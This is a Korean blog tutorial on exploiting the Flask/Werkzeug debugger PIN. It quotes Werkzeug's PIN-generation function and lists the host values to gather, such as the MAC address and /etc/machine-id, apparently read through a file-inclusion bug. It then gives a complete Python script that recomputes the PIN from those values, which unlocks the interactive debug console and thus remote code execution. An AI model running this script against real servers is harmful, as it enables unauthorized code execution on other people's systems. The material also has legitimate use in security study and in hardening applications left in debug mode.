Flask Debugger PIN Exploit
Debugger PIN
Flask에서 Debugger모드가 활성화되어 있을 때 어떠한 에러가 발생하면 에러를 보여주는 페이지가 나온다. 해당 페이지에서 콘솔을 실행시킬 수 있는데 콘솔을 실행시키려면 PIN이 필요하다.
app.run(host='0.0.0.0', port=80, threaded=True, debug=True)
Generate PIN
PIN은 __init__.py에서 만들어지는데 machine-id , mac address 등 각각 컴퓨터마다 다른 값들을 이용해서 PIN을 만들기 때문에 예측하기는 불가능하다. __init__.py는 /usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py에에 위치한다. 물론 python버전마다 다를 수 있으니 확인해봐야 한다.
Code
PIN을 만드는 코드는 아래와 같다. get_pin_and_cookie_name()함수에서 만드는데 Window, MAC, Linux등 OS마다 PIN을 만드는 방식이 다르고 파이썬 버전마다 만드는 방식이 다르다.
def get_pin_and_cookie_name(app):
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns None.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", app.__class__.__module__)
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", app.__class__.__name__),
getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, text_type):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
Exploit PIN
PIN을 exploit 하려면 몇 가지 정보를 알고 있어야 한다. 해당 취약점은 권한 상승 취약점도 가능하고 LFI가 가능하다면 필요한 정보를 얻어내어 RCE도 가능하게 된다.
알아야 할 정보
- MAC Address : /sys/class/net/<device id>/address -> 정수로 변환( ":" 제거 )
- Machine-id or boot-id : /etc/machine-id , /proc/sys/kernel/random/boot_i
- Modename : flask.app
- app.py path : /usr/local/lib/python3.5/dist-packages/flask/app.py
- cgroup : /proc/self/cgroup
Code
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Reference
https://www.daehee.com/werkzeug-console-pin-exploit/
https://github.com/wdahlenburg/werkzeug-debug-console-bypass
❗ 저작권
'Hacking > Web' 카테고리의 다른 글
[Web Hacking] Java Reflection(feat. SSTI) (0) | 2022.08.01 |
---|---|
[Web Hacking] URL 구조 (0) | 2022.08.01 |
[Web Hacking] DNS rebinding (0) | 2022.07.30 |
[Web Hacking] Missconfiguration DBMS (0) | 2022.07.26 |
[Web Hacking] SSRF (0) | 2022.07.25 |